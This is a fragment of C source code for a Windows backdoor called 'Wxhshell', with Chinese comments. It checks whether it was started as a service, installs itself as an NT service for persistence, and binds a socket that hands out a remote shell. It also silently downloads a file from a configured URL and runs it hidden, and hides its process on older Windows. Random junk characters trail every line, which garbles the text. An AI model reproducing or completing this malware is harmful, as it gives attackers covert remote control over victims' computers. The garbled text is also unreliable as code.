DWORD AffinityMask; \yb^%$hZ0
DWORD BasePriority; @l"GfDfL9
ULONG UniqueProcessId; v7O{8K+
ULONG InheritedFromUniqueProcessId; )[9L|o5D
} PROCESS_BASIC_INFORMATION; '7>Vmr6
tRbZ^5x\@
PROCNTQSIP NtQueryInformationProcess; g%j z,|
)%X\5]w`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )t&|oQ3sVG
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?jw)%{iKYV
a9QaF s"
HANDLE hProcess; ,-] JCcH
PROCESS_BASIC_INFORMATION pbi; 'ZT!a]4
P_-zkw
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g?j"d{.9t
if(NULL == hInst ) return 0; fhH* R*4
ui9gt"qS`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XF^c(*5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'U1r}.+b>
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "%f>/k;!h.
?N11R?8
if (!NtQueryInformationProcess) return 0; %Pa-fee
IZAbW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
\SLYqJ~m
if(!hProcess) return 0; i":-g"d
3M1(an\nW
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '2# 0UdG
2vWkAC;
CloseHandle(hProcess); 'c &Bmd40
+nJ}+|@K
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /%xK-z,V
if(hProcess==NULL) return 0; cK-!Evv
*ac#wEd
HMODULE hMod; Ab_aB+g ]
char procName[255]; ;quGy3
unsigned long cbNeeded; dk(-yv'
?: meix
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TfZO0GL$
|LNXu
CloseHandle(hProcess); e#zGLxa
|23 }~c,
if(strstr(procName,"services")) return 1; // 以服务启动 Nc"h8p?
fA3
return 0; // 注册表启动 b-O4IDIT
} MfL q
h
G3U+BC23E
// 主模块 6B+
@76w H
int StartWxhshell(LPSTR lpCmdLine) 9*2hBNp+
{ Q|v=W C6
SOCKET wsl; hD$U8~zK
BOOL val=TRUE; Me`"@{r|#
int port=0; v5 9>
struct sockaddr_in door; 71)#'ey
g{D&|qWj
if(wscfg.ws_autoins) Install(); n `n3[
"RShsJZMH
port=atoi(lpCmdLine); C#r`oZS1
aIfog+Lp
if(port<=0) port=wscfg.ws_port; /=3g-$o{`
=Q|}7g8o
WSADATA data; 6Nl$&jL
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i#-Jl7V[a
ivagS\Q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; sO
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W4#:_R,&,
door.sin_family = AF_INET; z$<6;2
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !
\gRXP}
door.sin_port = htons(port); ,v6Jr3
L;`4"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9M!_D?+P?
closesocket(wsl); e;pNB
return 1; yNT2kB'
} JDhA{VN6
wM yPR_
if(listen(wsl,2) == INVALID_SOCKET) { AnyFg)a<
closesocket(wsl); 0 /kbxpih
return 1; .o-j
} 54;iLL
Wxhshell(wsl); 2+P3Sii
WSACleanup(); cwD0 ~B
:E^B~ OuL
return 0; #0P<#S^7
y-@!, @e
} z84W{!
P
|l?ALP_g
// 以NT服务方式启动 oy`m:Xp
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <s2l*mc
{ ;`+RSr^8$
DWORD status = 0; %%Kg'{-:
DWORD specificError = 0xfffffff; |{jAMC0#
O}`01A!u;
serviceStatus.dwServiceType = SERVICE_WIN32; `MwQ6%lf
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6f>l~$
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }ri*e2y)
serviceStatus.dwWin32ExitCode = 0; 5HIpoj;\(
serviceStatus.dwServiceSpecificExitCode = 0; ~ghz%${`
serviceStatus.dwCheckPoint = 0; VoyH:
serviceStatus.dwWaitHint = 0; P3yiJ|vP
4GfLS.Ip
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #-Rz`Y<&
if (hServiceStatusHandle==0) return; .apX72's,
oe*&w9Y}&
status = GetLastError(); =qtoDe
if (status!=NO_ERROR) nMa^Eq#
{ /T(\}Z
serviceStatus.dwCurrentState = SERVICE_STOPPED; R>U<8z"i
serviceStatus.dwCheckPoint = 0; :I'Ezxv|
serviceStatus.dwWaitHint = 0; Ntnmd
serviceStatus.dwWin32ExitCode = status; ,?`1ve_K<
serviceStatus.dwServiceSpecificExitCode = specificError; sBb.Y
k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -n
*>zGc
return; q-G|@6O
} Qkib;\2
e8 7-
B1`
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3N"&P@/0x
serviceStatus.dwCheckPoint = 0; .lBY"W&{
serviceStatus.dwWaitHint = 0; 6)U&XWH0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
U+"=
} T{<@MK%],d
]pV1T
// 处理NT服务事件,比如:启动、停止 = b!J)]
VOID WINAPI NTServiceHandler(DWORD fdwControl) ww($0A`ek
{ qZJ*J+
switch(fdwControl) o w_y
{ S@g/Tn
case SERVICE_CONTROL_STOP: (`]*Y(/2G
serviceStatus.dwWin32ExitCode = 0; i5KwYoN
serviceStatus.dwCurrentState = SERVICE_STOPPED; V0Z7o\-J
serviceStatus.dwCheckPoint = 0; Hm
VTfH'
serviceStatus.dwWaitHint = 0; daIL> c"
{ ?GNF=#=M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "x;k'{S
} ,GJ>vT)
return; ING_:XpnJ
case SERVICE_CONTROL_PAUSE: MXF"F:-Kn
serviceStatus.dwCurrentState = SERVICE_PAUSED; H~|%vjH
break; ARdGh_yJ&
case SERVICE_CONTROL_CONTINUE: FMdLkyK;
serviceStatus.dwCurrentState = SERVICE_RUNNING; a9Fm Y`
break; iEviH>b5
case SERVICE_CONTROL_INTERROGATE: jN%p5nZ^EK
break; 7vaN&%;E%
}; NceB'YG|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7+a%ehwU
} XLmMK{gs
ES\Q5)t/fo
// 标准应用程序主函数 ]rg+nc3
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Px#QZZ
{ [Hj'nA^
qX+gG",8
// 获取操作系统版本 cvUut^CdK
OsIsNt=GetOsVer(); !
F <] T
GetModuleFileName(NULL,ExeFile,MAX_PATH); @ 9 {%Kn
2d2@ J{
// 从命令行安装 [9O~$! <%
if(strpbrk(lpCmdLine,"iI")) Install(); E,LYS"%_
F[kW:-ne@Z
// 下载执行文件 zZ9<4"CIk
if(wscfg.ws_downexe) { 9*|3E"Vr
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %md^S
|
WinExec(wscfg.ws_filenam,SW_HIDE); V 7l{hEo3?
} }11`98>B6:
%i&/$0.8
if(!OsIsNt) { ^+as\
// 如果时win9x,隐藏进程并且设置为注册表启动 tw/#ENo
HideProc(); 6%.
StartWxhshell(lpCmdLine); 28R>>C=R
} 'xbERu(Y
else A6N~UV*_
if(StartFromService()) AzW7tp;t=
// 以服务方式启动 +lW}ixt
StartServiceCtrlDispatcher(DispatchTable); adI!W-/R:
else $%
Ci8p
// 普通方式启动 qo6LC >Qg
StartWxhshell(lpCmdLine); >&;>PZBPCO
l#b|@4:I
return 0; +`*qlP;
} 7wQ+giu
xegQRc
I/HV;g:#
K3rBl!7v
=========================================== )Ig+uDGk
:4ja@~
[v0ri<